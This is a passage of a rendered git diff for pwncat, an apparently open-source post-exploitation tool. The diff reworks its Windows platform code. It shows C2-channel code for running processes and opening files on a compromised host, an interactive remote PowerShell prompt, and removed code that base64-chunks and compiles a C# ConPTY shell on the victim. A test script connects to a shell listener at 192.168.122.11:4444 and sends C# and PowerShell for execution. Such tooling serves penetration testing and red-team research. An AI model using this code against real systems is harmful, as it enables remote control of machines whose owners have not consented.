||||
new = self.stderr.read(4096)
|
||||
stderr += new
|
||||
if len(new) == 0:
|
||||
break
|
||||
|
||||
if len(stderr) == 0:
|
||||
stderr = None
|
||||
if len(stdout) == 0:
|
||||
stdout = None
|
||||
|
||||
self.cleanup()
|
||||
|
||||
return (stdout, stderr)
|
||||
|
||||
|
||||
class Windows(Platform):
|
||||
|
@ -78,6 +318,7 @@ class Windows(Platform):
|
|||
|
||||
# Initialize interactive tracking
|
||||
self._interactive = False
|
||||
self.interactive_tracker = 0
|
||||
|
||||
# Ensure history is disabled (this does not help logging!)
|
||||
# self.disable_history()
|
||||
|
@ -166,6 +407,10 @@ class Windows(Platform):
|
|||
|
||||
# Wait for the new C2 to be ready
|
||||
self.channel.recvuntil(b"READY")
|
||||
self.channel.recvuntil(b"\n")
|
||||
|
||||
def get_pty(self):
|
||||
""" We don't need to do this for windows """
|
||||
|
||||
def _load_library(self, name: str, methods: List[str]):
|
||||
"""Load the library. This adds a global with the same name as `name`
|
||||
|
@ -198,51 +443,76 @@ class Windows(Platform):
|
|||
self.channel.send(command)
|
||||
self.session.manager.log(command.decode("utf-8").strip())
|
||||
|
||||
def get_pty(self):
|
||||
""" Spawn a PTY in the current shell. """
|
||||
def Popen(
|
||||
self,
|
||||
args,
|
||||
bufsize=-1,
|
||||
stdin=None,
|
||||
stdout=None,
|
||||
stderr=None,
|
||||
shell=False,
|
||||
cwd=None,
|
||||
encoding=None,
|
||||
text=None,
|
||||
errors=None,
|
||||
env=None,
|
||||
bootstrap_input=None,
|
||||
**other_popen_kwargs,
|
||||
) -> pwncat.subprocess.Popen:
|
||||
|
||||
if self.has_pty:
|
||||
return
|
||||
|
||||
cols, rows = os.get_terminal_size()
|
||||
|
||||
# Read the C# used to spawn a conpty
|
||||
conpty_path = pkg_resources.resource_filename("pwncat", "data/conpty.cs")
|
||||
with open(conpty_path, "rb") as filp:
|
||||
source = filp.read()
|
||||
|
||||
source = source.replace(b"ROWS", str(rows).encode("utf-8"))
|
||||
source = source.replace(b"COLS", str(cols).encode("utf-8"))
|
||||
|
||||
# base64 encode the source
|
||||
source = base64.b64encode(source)
|
||||
CHUNK_SZ = 1024
|
||||
|
||||
# Initialize victim source variable
|
||||
self.channel.send(b'$source = ""\n')
|
||||
|
||||
# Chunk the source in 64-byte pieces
|
||||
for idx in range(0, len(source), CHUNK_SZ):
|
||||
chunk = source[idx : idx + CHUNK_SZ]
|
||||
self.channel.send(b'$source = $source + "' + chunk + b'"\n')
|
||||
|
||||
# decode the source
|
||||
self.channel.send(
|
||||
b"$source = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($source))\n"
|
||||
if self.interactive:
|
||||
raise PlatformError(
|
||||
"cannot open non-interactive process in interactive mode"
|
||||
)
|
||||
|
||||
# Compile and execute
|
||||
self.channel.send(
|
||||
b"\n".join(
|
||||
[
|
||||
b"Add-Type -TypeDefinition $source -Language CSharp",
|
||||
b'[ConPtyShellMainClass]::ConPtyShellMain(@("", 0, 24, 80, "powershell.exe")); exit',
|
||||
if shell:
|
||||
if isinstance(args, list):
|
||||
args = [
|
||||
"powershell.exe",
|
||||
"-noprofile",
|
||||
"-command",
|
||||
subprocess.list2cmdline(args),
|
||||
]
|
||||
)
|
||||
+ b"\n"
|
||||
)
|
||||
else:
|
||||
args = ["powershell.exe", "-noprofile", "-command", args]
|
||||
|
||||
self.has_pty = True
|
||||
# This is apparently what subprocess.Popen does on windows...
|
||||
if isinstance(args, list):
|
||||
args = subprocess.list2cmdline(args)
|
||||
elif not isinstance(args, str):
|
||||
raise ValueError("expected command string or list of arguments")
|
||||
|
||||
self.channel.send(f"""process\n{args}\n""".encode("utf-8"))
|
||||
|
||||
hProcess = self.channel.recvuntil(b"\n").strip().decode("utf-8")
|
||||
if hProcess == "E:IN":
|
||||
raise RuntimeError("failed to open stdin pipe")
|
||||
if hProcess == "E:OUT":
|
||||
raise RuntimeError("failed to open stdout pipe")
|
||||
if hProcess == "E:ERR":
|
||||
raise RuntimeError("failed to open stderr pipe")
|
||||
if hProcess == "E:PROC":
|
||||
raise FileNotFoundError("executable or command not found")
|
||||
|
||||
# Collect process properties
|
||||
hProcess = int(hProcess)
|
||||
stdio = []
|
||||
for i in range(3):
|
||||
stdio.append(int(self.channel.recvuntil(b"\n").strip().decode("utf-8")))
|
||||
|
||||
return PopenWindows(
|
||||
self,
|
||||
args,
|
||||
stdout,
|
||||
stdin,
|
||||
stderr,
|
||||
text,
|
||||
encoding,
|
||||
errors,
|
||||
bufsize,
|
||||
hProcess,
|
||||
stdio,
|
||||
)
|
||||
|
||||
def get_host_hash(self):
|
||||
return "windows-testing"
|
||||
|
@ -254,26 +524,77 @@ class Windows(Platform):
|
|||
@interactive.setter
|
||||
def interactive(self, value):
|
||||
|
||||
if value == self._interactive:
|
||||
return
|
||||
|
||||
# Reset the tracker
|
||||
|
||||
if value:
|
||||
|
||||
command = (
|
||||
"".join(
|
||||
[
|
||||
"function global:prompt {",
|
||||
'Write-Host -Object "(remote) " -NoNewLine -ForegroundColor Red;',
|
||||
'Write-Host -Object "$env:UserName@$(hostname)" -NoNewLine -ForegroundColor Yellow;',
|
||||
'Write-Host -Object ":" -NoNewLine;',
|
||||
'Write-Host -Object "$(Get-Location)" -NoNewLine -ForegroundColor Cyan;',
|
||||
"return '$ ';",
|
||||
"}",
|
||||
]
|
||||
)
|
||||
+ "\r"
|
||||
)
|
||||
|
||||
self.logger.info(command.rstrip("\n"))
|
||||
self.channel.send(command.encode("utf-8"))
|
||||
|
||||
# Shift to interactive mode
|
||||
cols, rows = os.get_terminal_size()
|
||||
self.channel.send(f"\ninteractive\n{rows}\n{cols}\n".encode("utf-8"))
|
||||
self._interactive = True
|
||||
self.interactive_tracker = 0
|
||||
return
|
||||
if not value:
|
||||
if self.interactive_tracker != len(INTERACTIVE_END_MARKER):
|
||||
self.channel.send(b"\rexit\r")
|
||||
self.channel.recvuntil(INTERACTIVE_END_MARKER)
|
||||
self.channel.send(b"nothing\r\n")
|
||||
self._interactive = False
|
||||
|
||||
def process_output(self, data):
|
||||
""" Process stdout while in interactive mode """
|
||||
|
||||
for b in data:
|
||||
if INTERACTIVE_END_MARKER[self.interactive_tracker] == b:
|
||||
self.interactive_tracker += 1
|
||||
if self.interactive_tracker == len(INTERACTIVE_END_MARKER):
|
||||
raise pwncat.manager.RawModeExit
|
||||
else:
|
||||
self.interactive_tracker = 0
|
||||
|
||||
def open(
|
||||
self,
|
||||
path: Union[str, Path],
|
||||
mode: str = "r",
|
||||
buffering: int = -1,
|
||||
encoding: str = "utf-8",
|
||||
errors: str = None,
|
||||
newline: str = None,
|
||||
):
|
||||
|
||||
# Ensure all mode properties are valid
|
||||
for char in mode:
|
||||
if char not in "rwb":
|
||||
raise PlatformError(f"{char}: unknown file mode")
|
||||
|
||||
# Save this just in case we are opening a text-mode stream
|
||||
line_buffering = buffering == -1 or buffering == 1
|
||||
|
||||
# For text-mode files, use default buffering for the underlying binary
|
||||
# stream.
|
||||
if "b" not in mode:
|
||||
buffering = -1
|
||||
|
||||
self.channel.send(f"open\n{str(path)}\nmode\n".encode("utf-8"))
|
||||
result = self.channel.recvuntil(b"\n").strip()
|
||||
|
||||
try:
|
||||
handle = int(result)
|
||||
except ValueError:
|
||||
raise FileNotFoundError(str(path))
|
||||
|
||||
stream = WindowsFile(self, mode, handle)
|
||||
|
||||
if "b" not in mode:
|
||||
stream = TextIOWrapper(
|
||||
stream,
|
||||
encoding=encoding,
|
||||
errors=errors,
|
||||
newline=newline,
|
||||
write_through=True,
|
||||
line_buffering=line_buffering,
|
||||
)
|
||||
|
||||
return stream
|
||||
|
|
33
test.py
33
test.py
|
@ -1,5 +1,8 @@
|
|||
#!./env/bin/python
|
||||
import subprocess
|
||||
|
||||
import pwncat.manager
|
||||
import pwncat.platform.windows
|
||||
import time
|
||||
|
||||
# Create a manager
|
||||
|
@ -8,21 +11,17 @@ manager = pwncat.manager.Manager("data/pwncatrc")
|
|||
# Establish a session
|
||||
session = manager.create_session("windows", host="192.168.122.11", port=4444)
|
||||
|
||||
session.platform.channel.send(
|
||||
b"""
|
||||
csharp
|
||||
/* ENDASM */
|
||||
class command {
|
||||
public void main()
|
||||
{
|
||||
System.Console.WriteLine("We can execute C# Now!");
|
||||
}
|
||||
}
|
||||
/* ENDBLOCK */
|
||||
powershell
|
||||
Write-Host "And we can execute powershell!"
|
||||
# ENDBLOCK
|
||||
"""
|
||||
)
|
||||
|
||||
manager.interactive()
|
||||
|
||||
# hosts = (
|
||||
# session.platform.Path("C:\\") / "Windows" / "System32" / "drivers" / "etc" / "hosts"
|
||||
# )
|
||||
# with hosts.open() as filp:
|
||||
# manager.log("Read etc hosts:")
|
||||
# manager.log(filp.read())
|
||||
#
|
||||
# p = session.platform.Popen(["whoami.exe"], stdout=subprocess.PIPE, text=True)
|
||||
# manager.log(f"Current user: {p.communicate()[0].strip()}")
|
||||
# manager.log(f"Process Exit Status: {p.returncode}")
|
||||
#
|
||||
# manager.interactive()
|
||||
|
|
Loading…
Reference in New Issue